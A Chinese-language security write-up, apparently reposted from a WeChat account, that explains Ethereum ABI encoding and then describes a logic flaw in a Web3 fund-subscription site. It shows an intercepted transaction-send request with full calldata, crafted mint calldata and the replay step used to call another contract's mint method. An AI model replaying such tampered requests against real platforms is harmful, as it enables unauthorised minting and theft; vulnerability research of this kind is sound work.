-
编写智能合约的代码(一般使用 Solidity) -
编译智能合约的代码变成可在 EVM 上执行的 bytecode(binary code),同时编译后还可以获得智能合约相关ABI(描述合约接口的 JSON 文件) -
通过一个交易(transaction)部署智能合约,实际上是把 bytecode 存储在链上,并取得一个专属于这个合约的地址 -
如果程序员要写个APP调用这个智能合约,就需要把信息发送到这个合约的地址(一样的也是通过一个 transaction)。Ethereum 节点会根据输入的信息,选择要执行合约中的哪一个 function 和要输入的参数 -
要如何知道这这个智能合约提供哪些 function 以及应该要传入什么样的参数呢?这些信息就是记录在智能合约的 ABI里!
pragma solidity ^0.8.0;
contract SimpleContract {
uintpublic myNumber;
function setNumber(uint _number) public {
myNumber = _number;
}
function getNumber() public view returns (uint) {
return myNumber;
}
}
6、快速获取交易的calldata(ABI编码值)
看到etherscan里的Query按钮点击后查询,应该也可以非常直观的感受到abi编码(calldata)的作用了和它是怎么生成的了。
花了非常多的篇幅解释完了ABI是什么,接下来进入漏洞环节。
以下如果出现calldata和ABI编码在我这都代表的是一个意思。
-
申购币种地址(项目方发布的,类似于你要选哪个基金)
-
交易用户使用的稳定币token合约地址(USDC)
-
转账金额(申购金额)
-
时间戳
继续观察上面的JS,发现to字段也给了我们,前往查看这个地址,然后查看这个地址有多少USDC(测试币)
上面的这个0x9744c开头的地址我们称为交易合约地址
这个交易合约地址上也部署着subscribe、redeem、issuerReunFund等方法
所以在经过上面生成了第一步的abi的to和data后,网站会通过requestSafeSignTx方法进行签名,然后调用send方法
此时会通过api/xxx/xxx/transaction/send接口将其发送到后端处理,然后再进行上链,可往下看。
POST /api/xxx/xxx/transaction/send HTTP/2
Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
{"chainId":"11155111","data":"0x6a7612020000000000000000000000009744c11004a16cfee68a45a69dde7913e098f4f500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000140000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000847fb801be0000000000000000000000007586dd23244d51ffe7d30b6cb839bb1718fb5ced000000000000000000000000c40fa5d8cf408baa63019137033d2698377fb2430000000000000000000000000000000000000000000000000000000000d59f800000000000000000000000000000000000000000000000000000000066f61690000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000041fbe678c6f71241843079f6f32ec6fb2d9036852ee826405b859fd0b90255c08b56e5e06cabad9a075de14a3a1e2973ebb1fe737690fe15cc1f3fbbad9e5618e51c00000000000000000000000000000000000000000000000000000000000000","nonce":32}
-
data -
signatures -
to -
method
一般的调用:
{
"to": "0x9744c11004a16............", //合约地址
"data": "0x12345678..." // 这是调用某个方法的ABI编码数据
}
现在的调用:
{
"to": "项目方后台定义的地址,我们暂时不知",
"data": {
"exectrasation": {
"data": "0x12345678...", // 这是调用subscribe方法的ABI编码数据
{ address1,address2,uint256,uint256 }
"to": "0x9744c11004a16cfee68a45a69dde7913e098f4f5"
}
}
}
流程总结:
-
钱包A(用户)调用项目方后台定义的合约地址B的exectrasation方法,来进行转账,
-
exectransation会调用的交易合约地址上的subscribe方法,之后扣除钱包A的钱
-
然后通过exectransation将钱转入0x9744c交易合约地址
0x40c10f19000000000000000000000000176791d147bef3f62dadde535604f339a1758e4400000000000000000000000000000000000000000000000000000000000f4240
该abi编码解析值如下,意思是调用xxx地址上的mint合约方法,来mint一个币。
第二步:将to修改为其他地址
——0x9744c11004a16cfee68a45a69dde7913e098f4f5修改为0x8e913be54763a751942a1af9d2f3d04a2d8078e3(某个ERC20token的合约地址)
然后一直按F8发送交易,可以看到我们成功调用了其他合约的mint方法,成功的给某个地址生成了1个币
原文始发于微信公众号(格格巫和蓝精灵):高危逻辑漏洞-Web3+Web2前端结合的ABI任意调用实现链上交易免gas
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论